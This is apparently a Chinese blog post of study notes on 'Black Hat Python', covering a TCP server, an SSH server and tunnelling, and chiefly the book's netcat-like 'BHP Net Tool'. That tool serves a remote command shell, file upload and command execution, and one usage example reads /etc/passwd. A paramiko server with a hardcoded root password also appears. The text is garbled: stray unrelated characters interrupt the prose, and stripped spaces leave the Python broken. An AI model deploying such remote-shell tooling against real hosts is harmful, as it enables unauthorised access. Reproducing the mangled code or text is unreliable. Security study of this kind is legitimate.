第一章設(shè)置Python環(huán)境
kali虛擬機(jī)
開始用pip安裝github3.py珊佣，沒什么問題
跟著安裝WingIDE篙挽，下載linux對(duì)應(yīng)位數(shù)的版本的deb婴氮，就行了竿裂，但是產(chǎn)生了依賴
TCP客戶端
UDP客戶端
TCP服務(wù)器
#-*-?coding:utf8?-*-
importsocket
importthreading
bind_ip?="0.0.0.0"#綁定ip：這里代表任何ip地址
bind_port?=8888
server?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)
server.bind((bind_ip,?bind_port))
#?最大連接數(shù)為5
server.listen(5)
print"[*]?Listening?on?%s:%d"%?(bind_ip,?bind_port)
#?這是客戶處理進(jìn)程
defhandle_client(client_socket):
#打印出客戶端發(fā)送得到的內(nèi)容
request?=?client_socket.recv(1024)
print"[*]?Received:?%s"%?request
#發(fā)送一個(gè)數(shù)據(jù)包
client_socket.send("ACK!")
client_socket.close()
whileTrue:
client,addr?=?server.accept()
print"[*]?Accepted?connection?from:?%s:%d"%?(addr[0],?addr[1])
#掛起客戶端線程屑咳，處理傳人的數(shù)據(jù)
client_handler?=?threading.Thread(target=handle_client,?args=(client,))
client_handler.start()
? 用之前的tcp客戶端連接萨赁，收到信息了
代碼：
[python]view plaincopy
#!/usr/bin/python
#-*-?coding:utf8?-*-
importsys
importsocket
importgetopt
importthreading
importsubprocess
#?定義一些全局變量
listen?=False
command?=False
upload?=False
execute?=?""
target?=?""
upload_destination?=?""
port?=0
defrun_command(command):
#?刪除字符串末尾的空格
command?=?command.rstrip()
#?運(yùn)行命令并將輸出放回
try:
output?=?subprocess.check_output(command,?stderr=subprocess.STDOUT,?shell=True)
except:
output?="Failed?to?execute?command.\r\n"
#?將輸出發(fā)送
returnoutput
defclient_handler(client_socket):
globalupload
globalexecute
globalcommand
#?檢查上傳文件
iflen(upload_destination):
#?讀取所有的字符并寫下目標(biāo)
file_buffer?=?""
#?持續(xù)讀取數(shù)據(jù)直到?jīng)]有符合的數(shù)據(jù)
whileTrue:
data?=?client_socket.recv(1024)
ifnotdata:
break
else:
file_buffer?+=?data
try:
file_descriptor?=?open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully?saved?file?to?%s\r\n"%?upload_destination)
except:
client_socket.send("Failed?to?save?file?to?%s\r\n"%?upload_destination)
#?檢查命令執(zhí)行
iflen(execute):
#?運(yùn)行命令
output?=?run_command(execute)
client_socket.send(output)
#?如果需要一個(gè)命令行shell,那么我們進(jìn)入另一個(gè)循環(huán)
ifcommand:
whileTrue:
#?跳出一個(gè)窗口
client_socket.send("")
cmd_buffer?=?""
while"\n"notincmd_buffer:
cmd_buffer?+=?client_socket.recv(1024)
#??返回命令輸出
response?=?run_command(cmd_buffer)
#?返回響應(yīng)數(shù)據(jù)
client_socket.send(response)
defserver_loop():
globaltarget
#?如果沒有定義目標(biāo),那我們監(jiān)聽所有接口
ifnotlen(target):
target?="0.0.0.0"
server?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)
server.bind((target,?port))
server.listen(5)
whileTrue:
client_socket,?addr?=?server.accept()
#?分拆一個(gè)線程處理新的客戶端
client_thread?=?threading.Thread(target=client_handler,?args=(client_socket,))
client_thread.start()
defclient_sender(buffer):
client?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)
try:
#?連接到目標(biāo)主機(jī)
client.connect((target,?port))
iflen(buffer):
client.send(buffer)
whileTrue:
#?現(xiàn)在等待數(shù)據(jù)回傳
recv_len?=1
response?=?""
whilerecv_len:
data?=?client.recv(4096)
recv_len?=?len(data)
response?+=?data
ifrecv_len?<4096:
break
printresponse
#?等待更多的輸入
buffer?=?raw_input("")
buffer?+="\n"
#?發(fā)送出去
client.send(buffer)
except:
print"[*]?Exception!?Exiting."
#關(guān)閉連接
client.close()
defusage():
print"BHP?Net?Tool"
print"Usage:?bhpnet.py?-t?target_host?-?p?port"
print"-l?--listen??????????????-?listen?on?[host]:[port]?for?incoming?connections"
print"-e?--execute=file_to_run?-execute?the?given?file?upon?receiving?a?connection"
print"-c?--command?????????????-?initialize?a?commandshell"
print"-u?--upload=destination??-?upon?receiving?connection?upload?a?file?and?write?to?[destination]"
print"Examples:"
print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-c"
print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-u=c:\\target.exe"
print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-e=\"cat?/etc/passwd\""
print"echo?'ABCDEFGHI'?|?python?./bhpnet.py?-t?192.168.11.12?-p?135"
sys.exit(0)
defmain():
globallisten
globalport
globalexecute
globalcommand
globalupload_destination
globaltarget
ifnotlen(sys.argv[1:]):
usage()
#?讀取命令行選項(xiàng),若沒有該選項(xiàng)則顯示用法
try:
opts,?args?=?getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
exceptgetopt.GetoptError?as?err:
printstr(err)
usage()
foro,ainopts:
ifoin("-h","--help"):
usage()
elifoin("-l","--listen"):
listen?=True
elifoin("-e","--execute"):
execute?=?a
elifoin("-c","--commandshell"):
command?=True
elifoin("-u","--upload"):
upload_destination?=?a
elifoin("-t","--target"):
target?=?a
elifoin("-p","--port"):
port?=?int(a)
else:
assertFalse,"Unhandled?Option"
#我們是進(jìn)行監(jiān)聽還是僅從標(biāo)準(zhǔn)輸入讀取數(shù)據(jù)并發(fā)送數(shù)據(jù)兆龙？
ifnotlistenandlen(target)andport?>0:
#?從命令行讀取內(nèi)存數(shù)據(jù)
#?這里將阻塞,所以不再向標(biāo)準(zhǔn)輸入發(fā)送數(shù)據(jù)時(shí)發(fā)送CTRL-D
buffer?=?sys.stdin.read()
#?發(fā)送數(shù)據(jù)
client_sender(buffer)
#?我們開始監(jiān)聽并準(zhǔn)備上傳文件,執(zhí)行命令
#?放置一個(gè)反彈shell
#?取決于上面的命令行選項(xiàng)
iflisten:
server_loop()
#調(diào)用main函數(shù)
main()
一開始沒在前頭打python杖爽，默認(rèn)是不是用python解析運(yùn)行的，所以會(huì)出錯(cuò)紫皇，kali就會(huì)變成截圖了
下面的客戶端連接時(shí)掂林，連接后要按CTRL+D讓其返回shell
用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first] ? ? ? ? ? //最后一個(gè)參數(shù)是 是否從遠(yuǎn)程服務(wù)器（主機(jī)）接收數(shù)據(jù)
首先安裝paramiko模塊，還是去了點(diǎn)小問題茎截，好像是安裝過了吧苇侵，要我升級(jí)一下？
為了適應(yīng)非默認(rèn)端口榆浓，改了一下作者的客戶端代碼，修改處已圈出
class?Server(paramiko.ServerInterface):
def?__init__(self):
self.event=threading.Event()
def?check_channel_request(self,?kind,?chanid):
ifkind==?'session':
return?paramiko.OPEN_SUCCEEDED
def?check_auth_password(self,?username,?password):
if?(username==?'root')?and?(password==?'lovepython'):
return?paramiko.AUTH_SUCCESSFUL
return?paramiko.AUTH_FAILED
這樣即可認(rèn)證成功萍鲸，但之后執(zhí)行命令又出現(xiàn)問題了，
報(bào)錯(cuò)如下：
paramiko.ssh_exception.SSHException: Channel closed.
知道的可以繼續(xù)留言擦俐，感謝各位的交流和學(xué)習(xí)脊阴，雖然好久沒搞web 了
ssh隧道
建議看一下這篇文章，你會(huì)對(duì)ssh隧道的理解更直觀捌肴，我的理解簡(jiǎn)單來(lái)說(shuō)就是一條管道蹬叭，其實(shí)別人說(shuō)隧道也覺得差不多啦
http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
在本地用locate命令找不到paramiko的示例文件rforward.py藕咏，最終通過谷歌終于找到了状知，原來(lái)在github上：https://github.com/paramiko/paramiko/tree/master/demos，之前那個(gè)test_rsa.key文件也在上面了
并不能連接，出錯(cuò)了（說(shuō)是拒絕）盲再，詳見下圖最后一行
python?rforward.py192.168.88.102-p5556-r10.10.10.145:22--user?pi?--password
Windows和Linux上的包嗅探
更新中........
